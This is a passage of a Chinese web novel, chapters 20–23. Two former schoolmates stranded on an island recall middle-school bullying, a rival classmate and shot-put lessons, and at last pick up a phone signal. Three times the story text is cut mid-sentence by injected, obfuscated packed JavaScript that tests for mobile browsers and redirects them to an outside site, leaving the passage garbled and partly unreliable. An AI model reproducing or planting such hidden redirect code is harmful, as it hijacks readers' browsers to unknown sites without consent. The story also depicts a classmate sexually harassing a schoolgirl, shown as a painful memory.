话里话外都充斥着对学生家长这份职业的鄙视和对自己这份教师职业的优越感。 诸葛康妮这个时候觉得自己不只是生理痛,还有神经,感觉太阳穴一抽一抽的。 闷燥得很。 因为自己的爸爸也被讲,是差点要跪在班主任的面前。 她感到无比窒息。 再朝前看,季瑞已经坐到了教室的第三排。 他们早就在一些微不可察的时期,产生了天差地别的变化。季瑞是最早开始意识到,学习很重要。 而康妮总是后知后觉。 那一回,她是进步之星,但季瑞已经是学习标兵。 即使是考到了班级的第二十九名,也只是暂时的,第二个月月考,她就又重新回到了三十五名的队列。 就算是这样的成绩,这样的排名,也不至于和现在这个将近五十名的男同学坐在一起。 因为她清楚地记得,那一次分座位,明明轮到了她进去选座位,却偏偏被老师拉到了一旁站着,眼睁睁看着比自己成绩排名更低的学生先进去选座。 最后她才被放进来。 所以她只能和一个班级里最顽劣的男孩子坐在一起。 下课的时候,她会被扯肩带。 甚至有时候正在上英语课的时候,这个男生也会朝着她开黄腔,今天也还是一样。 “诶,你有没有感觉自己很胖啊?” 诸葛康妮被旁边人突如其来的询问搞得莫名其妙,完全被问愣住了:“什么?” 她只有九十斤不到。 “我说......”这个男孩子的声音放得更大,“你有没有感觉到自己挺胖的?” 诸葛康妮感受到了非常不妙的审视的目光。 她不再说话了,将视野锁定到前排的季瑞身上,渴盼他能够像以前一样心领神会地转过身,看到她。 知道她现在的很不好的处境。 见诸葛康妮不说话,这个黑皮小个子男孩开始嘀嘀咕咕地讲一些难堪的话。 前后排的人都听到了。 “傻*,没感觉到自己的胸脯变胖了吗?真的好胖,发育得真好。” “诶,你知道,白带是做什么用的吗?怎么不讲话,我问你话呢?你知道那个是干什么用的吗?” 有的人笑,有的人沉默。 但是季瑞太远了,他听不到。 诸葛康妮更伤心了,感觉到十分的无助,也不敢哭,不敢发脾气,觉得自己现在身在伽罗地狱。 “康妮,别哭了,你是不是在想初中的事情,你要不要和我说说,我一直都在。” 季瑞将诸葛康妮抱起来,清理了下她身上的砂砾,耐心地说,“海岛只是暂时的,昨天我有新发现,在后边的篮球场的尽头,手机昨天偶然有了信号。” “我在想,那个时候被男生欺负的事情,我觉得自己很懦弱,为什么没有第一时间告诉老师。” “不是你的错。” 季瑞揉揉她的脑袋。 “一个很内向的小姑娘,被安排到和一个班级里最调皮的男孩子的旁边做同桌,你认为班主任不知道会发生什么吗?说了也没用的。” “其实吧。” 季瑞笑得挺阳光,正在为她揭晓一个了不得的谜底, “你以为这事儿我不知道吗?课下有找他打过架,我打赢了。” 20. 20 最好的朋友 “我那时候值日……” 季瑞话音未落,诸葛康妮就迅速插嘴接上话。 “我想起来你好像经常值日,当天不是你值日,你也喜欢拿把扫帚拿着到处玩。” 季瑞挑了点水朝着诸葛康妮的脸上撒过去,得到了诸葛康妮更猛烈的洒水袭击。 两人人好像又重新变回了小孩子的性格。 他不服诸葛康妮这个说法。 “什么叫我拿着扫帚到处玩,我那是怕你被小混子欺负了,拿着扫帚随时准备揍他呢。” 每天傍晚或者凌晨时分,季瑞起床总是先于诸葛康妮。树影斑驳之下,她总是能够看到男孩子朝着树蔓藤枝挥动拳脚。在这个海岛上,他始终都没有意志消沉。 一直都在努力自救。 “我就是那个时候开始,认识到了力量的重要性,也萌生了想打拳击的念头。” 当然,康妮自然知道他口中的力量是什么。 她同样也十分了解季瑞,她知道他一直以来的成长和变化,就从那一天决定要好好学习开始,他就彻底改变了。 这个力量除了体能之外,还有用知识武装自己的力量。 人变得更加有毅力,有决心。 有了目标和清楚地认识到,自己究竟想要做什么。 比如故意挑衅那个黑皮小混子,让他主动找自己摔跤打架,把他按在地上打。 没回下课放学了就拿着把扫帚虎视眈眈地盯着诸葛康妮这边的位置。 找各种理由在她的位置旁边绕来绕去。 最终,他亲眼看到那个小流氓拽诸葛康妮的肩带,气得火焰直冲脑门,恨不得当着老师的面就给这人脑袋开瓢。 那个时候完全罔顾校纪校规,也在扭打在一起最上头的那几分钟,几乎忘记了自己还需要参加中考,就想着,哪怕下一秒因为他的这个行为导致世界毁灭了也不要紧。 诸葛康妮才是最要紧的。 任何人都不可以欺负诸葛康妮。 “我刚才看你那个样子,就想,怎么当初没下手再狠点。” “那样子是不对的,打赢坐牢,打输住院,打人是不对的。”诸葛康妮拍拍身上的沙子,开始认认真真地开始了自己的普法教育小频道。 “我知道。” 他沉思片刻,想得更加通透。 “所以即使不真的去做,也要拥有某种力量。就像成年之后的那一场职业拳击赛,这场比赛是可以不打的。但我知道,我和我的对手不一样。我是希望之后,在生活中有保护好自己想保护的人的能力,所以,我就毅然决然地打了。” “初中那次也一样。” 这算是一种年少轻狂吧。 谁没有过呢? 那一年刮大风下暴雪,诸葛康妮在周一的166班级里规规矩矩地做着自己的值日班长,替老师收集作业。 本本分分地协助老师课堂叫起立,下课抬作业,帮老师在对面的书店领试用教辅书。 “诸葛康妮,你能不能别收我的作业?” 前排座位的女生章穗说话大咧咧的,声音很大,气势很足。 但诸葛康妮是个很能带入情景角色的小孩,这个时候她是值日班长,她是绝对不可能徇私舞弊的。 于是冷着一张扑克脸,不讲话,直接将章穗的名字记在了考察本上。 考察本就这么躺在全班作业的最顶层。 这一举动彻底激怒了章穗。 她走上前去,拦住诸葛康妮的去路,开始冷嘲热讽。 “不是,你还真把自己当根菜了?你当初竞选班长,要不是我帮你拉票,你根本没机会当得上班长。” 章穗语气不善,揣着怒气说。 “谢谢你当初投票。但是今天你确实没交数学作业,如果我不上报,老师点数发现有错,会批评我干活不认真的。”诸葛康妮听上去有理有据。 但这样一副面无表情的样子和刚正不阿的态度,使得面前这位同学很不爽。 “所以啊,不然不给我放水,选你干什么呢?选你当班长就是为了方便平时给我们开小路啊,就这么简单一件事你都不愿意放水,你干脆不要当班长了,你这个班长我不服。”对面的章穗坐回自己的位置,气愤地将自己的铅笔袋摔在桌上。 “她成绩又不好,有什么资格当班长?还不是靠我?呵。” 章穗在诸葛康妮离开教室送作业的途隙仍在班级碎碎念,有几个同样不大爱学习的学生跟她有一搭没一搭地说着话。 剩下的人都在学习,对这件事并不感冒。 等到诸葛康妮送完作业重返班级的时候,章穗已经停止讨论这件事。 她已经反反复复地在班里强调了很多遍对诸葛康妮的不满,已经说够了,身边的人也听够了。唯独章穗对诸葛康妮的不悦是没够的。 章穗在诸葛康妮走进教室的时候狠狠瞪了她一眼。 但是诸葛康妮走路不爱到处看,目视前方,完全没注意到。 于是章穗又很不服气地在诸葛康妮落座的时候,扭过头来,看着她,搞了一个非常非常明显的白眼。 希望诸葛康妮能看到,并感受到她的怒意。 是的。 康妮看到了。 但是当作没看到,因为她今天题目错了特别多,每道数学题都要抄写十遍,今天放学之前必须要全部抄完并弄懂。 老班放学还会重新出个变式让大家再写一次。 很不幸的是,一片枯黄的树叶从外边飘进166班级的窗户,躺在诸葛康妮的桌上。 上面布满了虫眼,被啃的东一块西一块的烂洞。 诸葛康妮的心情马上就要跟这个烂叶子一样了,几乎没有任何区别。 太沮丧了。 自己当初引以为傲的班干部演讲,和那回压倒性的选票胜利的事,在今天彻底被推翻了。 她不是自己多么有魅力,不是发言有多么好,也不是大家认可她,而是一群不太爱学习的学生需要她这样一个特殊的“班干部”。 就是专门用来给他们开小路的。 反正成绩也不好,根本就是德不配位。 忽而一阵风吹过来,一个调皮捣蛋又好事的男生冲进教室,挥动着自己的手,招呼着章穗同学抓紧时间出教室。 ——到老王办公室去。 今天老王心情不好,于是翻阅了下考察本。 好巧不巧的,章穗正巧撞在老王的枪口上。 被批评了一通,甚至因为这次作业没交被叫了家长,家长抵达学校的时候,老王甚至添油加醋地说这小孩经常性不交作业,也不认真听课。 结果可想而知。 成绩不好就是这些事情的最好见证,老班没有那个精力好好盘算到底是哪几次作业没交,就把诸葛康妮记录的考察本甩给父母看。 回家不知道是不是被父母痛骂了一顿,还是痛打了一顿。 又或者是直接断掉了几个月的零花钱? 反正章穗被喊家长后重新回到教室的时候,直接在班级里哭出声。 对诸葛康妮的“恨”可以堪称是比山更高、海更深。 下课后,她没有第一时间找诸葛康妮麻烦,而是就此决定了把诸葛康妮当成这个166教室的透明人,并跟不少男生女生嘀嘀咕咕说了些什么。 很快的。 诸葛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812673|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康妮就发现了有点不对劲。 大家好像不愿意跟她说话了。 这天,章穗就这么在诸葛康妮的眼皮子底下,直接来到了季瑞现在的座位上。 是教室的第三排的正中间。 诸葛康妮看到了,章穗和季瑞的关系一直都很好,混成了哥们儿似的那种好。两个人一开始说说笑笑。 但是后面章穗的脸色就变了。 直到毕业了诸葛康妮也不知道那一天究竟发生了什么。 今天在海岛上烤鱼的时候,鱼烤焦了,季瑞毫不在意地端着她烤焦的鱼就这样吃。这时候也是他揭晓答案的时机。 诸葛康妮把这件事重新说了一遍。 “你想知道我说了什么她的脸色那么难看?”季瑞笑,“那我有个条件。” 诸葛康妮看见季瑞的表情从阳光灿烂的笑变成了带着暧昧氛围的勾唇,就知道接下来一定没什么“好话”。 “今天晚上亲一下我的耳朵。” 他倒是一点儿都不害臊。 “当时啊,是这样。” 季瑞指了指窗户外的海景,就好像天空变成了展示故事的电影幕布,瞬间将她带入当时的情景。她穿上了校服,面前是整个166班的同学在班级刷题写卷子,只有季瑞和章穗两个人正在交涉,章穗的脸色变得很难看。 “你喜欢谁不好,你喜欢诸葛康妮啊?”章穗的指向性很明显,她就是看诸葛康妮不顺眼。 “我告诉你,季瑞。你要是还把我当朋友,你就听我的,不要跟诸葛康妮玩,她不是什么好人。”章穗揣着手,坐在季瑞的桌面上。 坐在位置上看到这一幕的季瑞开始皱眉,有点不耐烦地看着章穗。 看她不动屁股,于是端起自己的保温杯,抵在章穗的腿上,试图把她从自己的那沓试卷上赶下来。 “不要跟她玩。” 季瑞懒得回应。 但听到章穗非常幼稚地又补充了一句,大家都不喜欢诸葛康妮,都不跟她玩,你最好也不要搞另类。 如果你要跟诸葛康妮做朋友,那就不要和她章穗做朋友。 他想骂人。 但是最终还是忍住了。 对面是个女生。 诸葛康妮之前和他做同桌的时候常常念叨在嘴边的一句话就是,好男人就是尊重女人的人,于是将那些不堪的话咽下去,很克制地回应。 “那是我的事。” 章穗的脸瞬间又白变黑,再变绿,非常吃瘪地站在季瑞的桌子旁边。 前三排这群乖学生们一个个都在做题,待季瑞将头低下去的时候,就真的成了章穗一个人的独角戏。 她很尴尬,也很难堪。 很明显,在季瑞的眼里,她是自己给自己找难堪。 “你忘了吗?你对她那么好,她还喜欢别的男生,喜欢岑宏,还让你帮她递情书,她不知道你喜欢她,你觉得可能?” 章穗气得已经口不择言,开始尝试用其他方式戳人家的痛处。 递情书这件事。 季瑞很清楚,他清楚地不能再清楚,诸葛康妮这个小女孩是想感谢那个给自己递鼓励小纸条的人。 那个人就是他自己。 才不是什么岑宏。 谣言就是这样,只要你足够相信一个人,了解一个人,就不可能被任何人的任何话动摇。 他要和诸葛康妮做一辈子的好朋友。 章穗悻悻地回到了自己的座位上,下一秒班级一个男生打破了教室里一以贯之的宁静,一个叫孙健的同学跟个消息情报员一样,从教室的后门窜进来,高喊着季瑞的名字。 孙健脸上的表情很兴奋。 21. 21 你老丈人 最后孙健同学极力地控制住激动的情绪,踮着脚走到季瑞的身边,说话的声音不大不小,但足以让不少同学听见。 “诶,季瑞,你老丈人来了。” 季瑞惊得立刻回头看向教室后边,没看到谁来。只不过差点把老王搞的那一叠考试进步奖券弄得满地都是。 这个所谓的奖券其实早就已经通货膨胀了。 每一次周考,班主任都要清算班级成员的进退步程度,因此搞了个“勉励机制”。 进步一名,就发一张奖券。 在班级里实际上没什么特殊的作用,每次抵消惩罚也只需要用一张奖券。 而学生们总是能利用“进步”Bug,给自己攒上许多奖券。 因此季瑞手里有一大半奖券都被送给了诸葛康妮,让她留作纪念。 那话刚一说完,季瑞很快感受到了同学们格外关注的目光,大家对这种事情还是非常感兴趣,于是孙健回去之后,他极力克制着自己的状态,表现得很淡定。 故作毫不在意地出去上厕所。 然后在诸葛康妮的爸爸来到班主任的教学楼办公室的前一分钟,跟他来了个超绝不经意的偶遇。 诸葛振因为女儿成绩不大好,经常被十二中的老师叫到办公室来训。 但他也觉得怪事情,每一次来女儿学校,都有个白白净净的小伙子,笑起来很阳光,总是这样,从楼道跑上来,跟他打招呼。 “叔叔好!” “你好你好。”诸葛振观察了下小伙子,没多想,就到办公室去找老王。 再后来就是天气凉了。 冬天的时候诸葛康妮的手总爱生冻疮。 冻疮已经连续生了两年,每次生冻疮都会烂耳朵烂手。 今年她准备好了自己的小兔子耳罩,月考的时候就带着半指手套写字,季瑞也时不时就会突然出现在倒数第二排。 等他悄无声息地出现,一杯热牛奶就这样被放在诸葛康妮的桌面上。 于是,她就总有热奶茶或者热牛奶,滚烫的姜茶这样的东西去暖手。 那一年过后,她的手真的再没有生过冻疮。 回家后,她总说是自己保护得好。 状态好了,那个月底月考也终于恢复了2字开头的班级成绩排名。 班主任老王又开始出新招,希望家长们关注到自己孩子的学习状态,偏偏要求每个成绩进步了的学生家长,为自己的儿子女儿选一件礼物,鼓励孩子继续努力。 大部分家长选的都是巧克力这种简单不出错的东西。 更有甚者,直接在家里选一件孩子本来就有东西糊弄老师。 诸葛康妮的礼物是一盒在2014年很昂贵的瑞士莲巧克力,她一直压在箱底没有吃,直到那年冬天白喝了季瑞几十杯热饮之后,她挑了个大课间找到季瑞。 “给你一颗瑞士莲。” “谢谢!” 天知道那颗瑞士莲在他手里握了有多久,实在是舍不得吃,又不忍心从手里放下,生怕自己放下就丢了。 于是就在这样一个零下几度的大冬天里,把这颗巧克力硬生生攥在自己手里捂化了。 诸葛康妮又重新送了他一颗。 这颗巧克力吃完了后,糖纸封存进了男孩的题本里。 每天看一遍,甚至成了学习的动力,只要一想到诸葛康妮,就想着要拼命学习。 他总想着,一定要把自己最好的一面。 展现在这个女孩面前。 “瑞士莲好吃。希望自己这辈子还有机会吃上诸葛老师的瑞士莲。” 季瑞躺在海岛的废弃教室里,风很凉爽地吹进来,眼前一片昏黑,月光照例冷冷清清地照耀在他的脸上。今天他们运气很好,在海边捕捞的收获不少,吃得很饱。 到了晚上,一些“贪吃”的想法也开始涌现。 于是他翻身,压在诸葛康妮之上,态度突然变得格外强势,他没做什么其他的事,姿态和语气像是在调情。 他很轻松自在地将她笼罩在下边,盘问她。 “康妮。我不相信你那时候只给我一个人送巧克力,但是不喜欢我。” “确实没啥别的想法,就是还热饮的人情。” 诸葛康妮躲避对面人的视线,下巴却被捏了回来,非叫她与对面人呼吸相融。其实他们已经负距离很多次了,但这次非常特殊,她感受到了对面的力度和以往都不太一样。 况且在太阳落山之前,这个少儿不宜的项目已经进行过一次了。 她有点累。 “想跑?那你写个诗给我。”季瑞不放她,在她脸上啄着吻了好几下,还专门给她出难题。 “写不出来。” 康妮有点泄气。 “那你都能给岑宏写情诗,就不能给我写情诗了?”他勾着唇,半开玩笑半认真。 “你看过!你竟然偷偷看我写的信!” “当然了,我不仅看过你写的信,我当时还恨不得把你写的这张纸给撕了。” “当时,实在是太生气了。” “但我最后还是帮你把信送出去了。” “那是一个误会。”诸葛康妮调转攻势,趴在他的胸膛上,点了点他的喉结,“你明明知道是我误会了,把你写的东西误会成岑宏写的了。” 嗯,这还差不多。 不过好话没说多久,就开始画风突变。 “不过当时也有岑宏长得比较帅的原因。”她从季瑞的身上下来,开始朝着月光的方向望去,长长地叹了一口气。 “那种奶白小生,就是我的菜。” “?” 季瑞转过身去,将本来盖在诸葛康妮身上的旧毛毯抽出来,转而盖在自己的身上。 突然的动作让诸葛康妮有些意外。 好大的醋味。 “那我们俩现在算什么?”他闷闷不乐道。 就知道会问这样的话。 “出了海岛再说,没能活着离开这里之前,一切的社会关系都是在放屁。” 诸葛康妮又重新将这条毛毯夺回来,盖在自己身上,就像夺回属于自己的主动权。 “小作家,能不能说点好听的话来给我听听?你刚才讲的那些话弄得人很伤心。” 他扯了扯身旁躺着的人。 她下一秒就坐起身。 “小作家?什么小作家啊?” 诸葛康妮听的云里雾里,感受到对面是在阴阳怪气自己,下一刻,那张“冰心小作家诗歌组金奖”的荣誉证书就这么捧在自己手里了。 是由政治老师从陵城十二中门口保卫室拿到手,再一路躺在政治女老师香香的托特包里。 再十分惊喜地被掏出来,在这一节政治课上,当着全班同学的面被郑重地给端了出来,叫小姑娘诸葛康妮上去领。 “恭喜你,文章获奖了。” 诸葛康妮的脸瞬间变得很红,在全班人的艳羡惊叹之下,只有她自己知道实情。 退稿是家常便饭,不被认可更是一种常态。 她在当时最流行的小荷作文网上发布的内容,通常都是没有什么太多人看的。 唯一的一篇热门,就是那首《生姿·西施》。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812674|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一首既不复古,也不现代,不伦不类的小诗,拿了一个完全不入流的奖项。 却被大家认为是很厉害的一件事。 她实在是很害臊。 “你怎么脸突然这么红?因为被我说成小作家吗?那么小作家?你现在还在写作吗?有没有好好坚持自己的梦想?” 季瑞走到篝火边,将桶里热滚了的水盛放在一个大贝壳里,小心地端着过来,递给诸葛康妮。 这是教学楼后头的自来水管流出来的水。 不太干净,需要静置一晚去沉淀。 需要很用心地沉淀,再小心翼翼地烧开,烧开水这个动作其实和维护小女孩的自尊心一样。 “会把这段经历也写进自己的小说故事里吗?” 他问。 看着诸葛康妮小口啜吸着热水,修长的指节碰着贝壳的边缘,指尖微微颤动了下,她低下头,将贝壳放在自己目光可及之处,将贝壳落在地上打旋。 跟玩陀螺似的,迷乱着人的眼。 应该,会的吧。 如果有这个机会,还有勇气拿起笔,无论写得好与坏,都勇敢地写下来。 陀螺旋转之际,她认认真真地盯着螺旋的最中央看,这里头很快划出一道弧线。 那是一道持续的、旷日持久的漂亮的抛物线。 绿油油的田径场上,一道抛物线划过,前后的距离大约不超过五米。 她的实心球扔得太烂了,却一根筋地就要在体育中考里选择实心球这个项目。 胳膊细是一方面,没有绝对力量也是一方面,实际上更多的原因,是因为她迟钝。 学任何东西都很迟钝,没有办法第一时间找到万事万物的基本法。 学实心球也是一样。 老师说,要将自己的人体比拟成很有弹性的武器,紧紧地绷住自己,在抛出的那一瞬间,立刻发力。 而且抛物线的顶点越高,扔得也更有可能变得远。 但诸葛康妮非常用力地往更高更远的地方抛,差点没把自己的腰给弄折了。 还是扔不了太远。 跟抛物线中间打了个对折似的,“咚”地一声垂落在地上。哪怕就是练习了几十次几百次几千次还是一样。 她没有得到任何改变和进步,跟她学文化课一样。 每天看上去都很努力,认真地听课,认真地订正,每节课都认认真真地记笔记。 但是成绩没有丝毫进步,该不会的还是不会。 季瑞总是说她其实很聪明,就是没有掌握学习方法。 这天他也一样和诸葛康妮两个人单独待在一起,在放学后直接不回家吃饭,躺在操场上混,撑着脑袋躺那儿看诸葛康妮练实心球,等着上晚自习。 怕她饿着了,季瑞给她带了个鸡肉卷。 可小姑娘脾气很倔,就不吃,塞书包里放凉了都不吃,硬要在那里练习她的实心球。 在季瑞的视角里,从抛物线的起点开始丢球,丢了以后再到五米多开外捡球,然后再重新丢回去。 如此循环反复。 她根本不是在练习实心球,她是在发泄学习压力。 “康妮停一下,你听我说。” 诸葛康妮端着实心球,额间沁着细细密密的汗珠,看向他。她的腰间还系着男生那件宽大的校服外套。 她今天生理期,裤子弄脏了,初三时间紧,根本来不及回家换,索性就这样了,绑着校服外套遮住那一片殷红。 跑到操场上跟发疯似的不停地练习实心球。 “你把实心球给我,我扔一个给你看。” 22. 22 实心球 实心球就这样递到了季瑞的手中。 其实,他早就已经看不下去了,她扔的距离完全达不到及格线,满分要扔八米多快九米。 甚至只能丢个四五米。 他想教诸葛康妮扔实心球。 教会她需要用心。 诸葛康妮这个小女孩喜欢听故事,所以,要讲故事,讲有意思的东西给她听,使她开窍。 “康妮,我有个特别爱玩的游戏,你知道是什么吗?” “什么?”她抬头。 “愤怒的小鸟。” “以前经常玩,现在快中考了学习紧张,有的时候也会在脑子里脑补游戏画面。” 他眺望远方,做出一个打弹弓的姿势。 一只眼睁一只眼闭,模拟出“啪嗒”一下将弹弓发射出去的场景。 “看到吗,就像射弹弓一样,我们扔实心球的时候,就要把自己想象成愤怒的小鸟。” “要成为一把弓,利用好个人身体的弹性。” “然后像我这样,尽自己的可能性,向后仰,主要是你的手臂要向后,而不是你的腰,你试试......” 康妮照着季瑞说的方法做,手向后仰,最后一用力! 一个完美的弧线就这样应运而生了。 她连自己都不敢相信,居然能够扔得这么远。 “等等!我还没放量尺,等我放个量尺!”季瑞笑得很灿烂地迈着长腿跑到最前面去。 他一下子拿起实心球,开心得要命。 他也没想到这一次的教学会这么成功,诸葛康妮不仅做到了,还做得很好。 仅用一次。 开窍,就是这么简单。 “快快快,再来一次,还有力气吗?” 季瑞乘胜追击,将量尺摆好,催促着诸葛康妮再进行一次。 “当然!” 她摆好了刚才的姿势,闭上眼,脑子里反复验证季瑞刚才提到那些关键点。 将自己想象成一个非常有弹性的弹弓。 再一次。 抛出去! 实心球终于从小姑娘的手里挣脱了束缚,划出一道比之前远得多、也漂亮得多的抛物线。 “咚”一声落在远处的塑胶草地上,留下一块凹陷。 掷地有声。 将近九米。 基本上可以完全超过体育中考实心球项目满分的水平! “哇塞!好远!” 诸葛康妮瞬间扫清方才所有的沮丧,脸上的笑容是突然绽开的,跟朵向日葵似的。 眼睛亮晶晶地朝着自己的“实心球老师”看去。 实在太成功了。 她感受到了无与伦比的成功的喜悦,兴奋得要命,她高兴地一路小跑着冲到季瑞站着的位置上。 发现他已经踩在她成绩的刻度上了。 很明显能看出来她已经超过了八米。 “啊呀,啊?” 康妮盯着实心球,弯下腰,俏皮活泼又有些诙谐地看着这个落点,一个“啊”字音拖得很长。 而一旁的季瑞迎着光。 这时候像个天使。 他笑得也干净清爽,朝气蓬勃。 身上发着不容忽视的温煦的光,肩线开阔流畅,洋溢着小太阳似的健康活力和自信。 这个困扰人许久的事,在他手里变成了个特特特简单的事。 “啊?啊?”他学着诸葛康妮的样子,也发出那种不可置信的反问。 他举起右手,诸葛康妮立即心领神会地上去拍了一巴掌。 “我就知道你可以。” 季瑞夸了夸她。 两人的笑声揉在一起,随即在操场的风声中飞扬开来,清脆地交织在一起。 他扭头看她。 看着她兴奋雀跃的样子,眼神里满是笑意和一种温柔的成就感。 诸葛康妮仰着头,脸上还带着运动后的红晕,忽然也不痛经了,也不犯鼻炎了,腰也不酸,腿也不痛了。 真是头一回见到她这么开心。 就仿佛不仅仅是帮她学会了扔实心球,更是驱散了她心头一片浓重的阴霾。 帮她捡回了幸福的人生。 世界仿佛这一刻按下了暂停键。 周遭的环境也在此刻变得模糊了起来,男生和女生拎着校服踏过跑道。 阳光将他们的身影拉得很长,映射在绿色的塑胶草坪上。 诸葛康妮捧着球颠来颠去,时不时和身边人敲敲打打,笑笑闹闹,空气中也弥漫着一种名为“快乐”的,令人心旷神怡的芬芳。 抵达四楼班级门口的前几秒,季瑞拉住诸葛康妮,交代了件事儿。 “这个周末,老王要带两波学生去市里面最好的两个高中参观,你有没有想要去看的学校?康妮。” 看她这抓耳挠腮,笑得很勉强的样子,就知道还没想好,也有可能根本没考虑过要去参观。 因为知道自己考上的几率很渺茫。 看了也只有羡慕和遗憾的份儿,重点高中,以她现在的班级排名,别说公费入重点高中了,就算是定向都困难。 “我就不看了吧,我要在家睡觉。” 早知道她要这么说,所以早就帮她做好了决定。 季瑞耸耸肩,指了指教室后边张贴着的参观名单,上面早就写上了她的名字。他很乐呵呵地看着诸葛康妮“绝望”地趴在那张纸上,确认了下自己的名字是不是真的在上面。 果然,没错,千真万确。 天底下最讨厌的人季瑞,把她的名字报上去了。 看着自己的名单,不想去,但不去肯定得被老王骂。 她发出了一阵哀嚎。 冷静下来后定睛一看,参观陵城第三中学的名单上不仅有她,还有季瑞,还被分在了同一个小组。 两人的名字久违地又重新并列地排在了一起。 【陵城市第十二中学参观名单】 三中 14组:季瑞、诸葛康妮(上午10:30) 十几岁的年纪并不是什么都不懂的。 两个小朋友非常有默契地想到了同一件事,那就是结婚的时候,新郎和新娘都会出现在同一张海报上。 名字也是并列的。 并列的名字总是显得十分亲昵。 “好晦气,和你并列。” “是吗?我看你好像挺高兴的。”季瑞故意这样气她。 两个人站在班主任老王带领的队列的最后面,是第十四组,终于来到了传说中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812675|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陵城市第三中学。 一个以文科闻名、火箭班年年拿下省第一著称的省级重点高中。 原来是这个样子。 学校的校门很大,很宽阔,整座学校的氛围显得很宁静,周六有高三年级的学生正坐在教室里安安静静地补课。 这一道长长的学校的道路,既宽阔又空旷。 他陪着她一起逛过了科技馆、体育馆、校史厅和植物园,再到每一栋教学楼和每一栋办公楼,以及陵城第三中学的大操场。 三中的操场比十二中更漂亮更大。 躺起来也更舒服。 莫名其妙有一种很温馨的感觉,就像回到了自己的家。 这一回躺在她身边的人还是季瑞。 可是他怎么会参观三中呢,按理来说,参观市里重点高中的名单应该是前二十名参观陵城市第一中学。 第二十一名至第三十名的同学才会被带来参观市三中。 “我想了想,觉得能上三中就够了。” 季瑞说这话,倒是很洒脱,仿佛中考的压力就跟闹着玩儿似的。他现在确实有资格这么说,毕竟已经脱胎换骨变成了“优等生”,甚至还有少数民族加五分的政策,考三中很容易。 但这对于诸葛康妮来说就差了足足三四十分。 这很难。 “我考不上。”康妮已经摆烂了,正午的阳光太刺眼,她閤眼休息,懒洋洋道,“做个梦吧,梦里面什么都有。” “别做梦,来真的。”他继续说。 “做不到。”她泄气。 “我们还要一起做同桌,诸葛康妮,我认真的,你不是老早就跟我说过,要和我做一辈子的好朋友吗?那我们就考同一个高中同一个班,再一起努力考大学。” “好吧,我尽量。” 这已经是诸葛康妮能应下的最大最诚恳的承诺了。 “真的,我们不是最好的朋友吗?” 季瑞看上去真的特别认真,“好朋友就要一起好好学习,好好学习才能改变命运,才有跟全部人拍板的权力。” “哦。” 参观完陵城第三中学之后,老师叫同学们到学校大门口集合,准备领大家去陵城一家最著名最有情调的酒店吃一顿好的。 酒店的名字叫铜雀台。 铜雀台静水潭潭,徽香古韵,窗外又有新派建筑,高楼耸立。酒店顶端的水晶灯后边是六边形曲面玻璃,折射出这边座位上坐着的三个人。 诸葛康妮、诸葛康妮的爸爸、和诸葛康妮最好的朋友季瑞。 诸葛康妮和诸葛振并排坐,季瑞则坐在她的对面,男孩今天吃东西的样子很是斯文,比较注意形象。 女孩康妮非常狂野地端来一碟又一碟的小蛋糕,什么都不吃,就爱吃那些柔软细腻的小甜点。也就是今天这样的场合能放肆地吃一回。 等过了今天,苦日子就在后头等着她了,她要赶紧多吃点,记住甜的滋味。 “今天这个果子好甜。” 诸葛康妮坐在草丛里,嘴里含着个不知道什么名儿的果子,看季瑞端着手机晃来晃去,在各个地方积极地寻找着信号。 本以为还和往常一样,只是做无用功。 手机嗡得一声响,显示求救信号已发出。 23. 23 伪军 “手机出现bug了???” 诸葛康妮紧紧盯着屏幕不放,当第一眼看到季瑞将求救信号发出时,她还是选择不相信。 怎么跳屏了? “撑到现在还能有电也真是奇迹……国产手机的省电功能实在太不可思议了。” 诸葛康妮撑着脸,捧着手机,百无聊赖地盯着主界面的屏幕,左右滑动来滑动去,终于,一条“12395”打头的电话组合突然拨来了电话。 这里的信号很弱。 电话接通后,陷入一阵断断续续的嘶啦声,话筒跟哑了似的。 完全传不出一段正常的声音,忽大忽小,完全失真。 但这已经给两个困在这里的人带来了巨大的希望,尤其是诸葛康妮,一直用力地在朝着对面呼救,说明他们现在所处的位置,和岛上的基本情况。 也不知道对面有没有听清他们到底在说些什么。 电话中断。 希望再次破灭。 这个时候信号又消失了。 诸葛康妮颓废地坐在原地,躺下,深深地叹了一口气;她朝着季瑞的方向看过去,看到他还在努力地寻找着信号。本身她已经放弃了,但突然又意识到了方才来电的重要性,猛地坐起身来。 刚才明明有信号了。 那不是什么广告来电,大概是救援电话。 于是她坐在季瑞的身边,耐心地等他在这个荒岛学校的老旧信号塔的附近将手机晃来晃去。 